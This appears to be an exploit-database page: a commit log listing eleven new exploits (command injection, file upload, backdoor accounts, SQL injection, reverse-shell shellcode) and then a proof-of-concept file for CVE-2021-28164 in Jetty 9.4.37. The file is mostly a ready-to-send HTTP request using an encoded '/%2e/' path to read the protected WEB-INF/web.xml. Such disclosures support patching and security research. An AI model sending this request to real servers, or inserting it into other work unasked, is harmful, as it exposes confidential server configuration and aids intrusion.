4f2cf56b31
11 changes to exploits/shellcodes Seagate BlackArmor NAS sg2000-2000.1331 - Command Injection OpenSIS 8.0 'modname' - Directory Traversal Patient Appointment Scheduler System 1.0 - Unauthenticated File Upload Budget and Expense Tracker System 1.0 - Arbitrary File Upload FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Hidden Backdoor Account (Write Access) FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - Remote Privilege Escalation WordPress Plugin Redirect 404 to Parent 1.3.0 - Reflected Cross-Site Scripting Jetty 9.4.37.v20210219 - Information Disclosure Clinic Management System 1.0 - SQL injection to Remote Code Execution Online Course Registration 1.0 - Blind Boolean-Based SQL Injection (Authenticated) Windows/x64 - Reverse TCP (192.168.201.11:4444) Shellcode (330 Bytes)
20 lines
No EOL
739 B
Text
20 lines
No EOL
739 B
Text
# Exploit Title: Jetty 9.4.37.v20210219 - Information Disclosure
|
|
# Date: 2021-10-21
|
|
# Exploit Author: Mayank Deshmukh
|
|
# Vendor Homepage: https://www.eclipse.org/jetty/
|
|
# Software Link: https://repo1.maven.org/maven2/org/eclipse/jetty/jetty-distribution/9.4.37.v20210219/
|
|
# Version: 9.4.37.v20210219 and 9.4.38.v20210224
|
|
# Tested on: Kali Linux
|
|
# CVE : CVE-2021-28164
|
|
|
|
POC #1 - web.xml
|
|
|
|
GET /%2e/WEB-INF/web.xml HTTP/1.1
|
|
Host: localhost:8080
|
|
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Connection: close
|
|
Upgrade-Insecure-Requests: 1
|
|
Cache-Control: max-age=0 |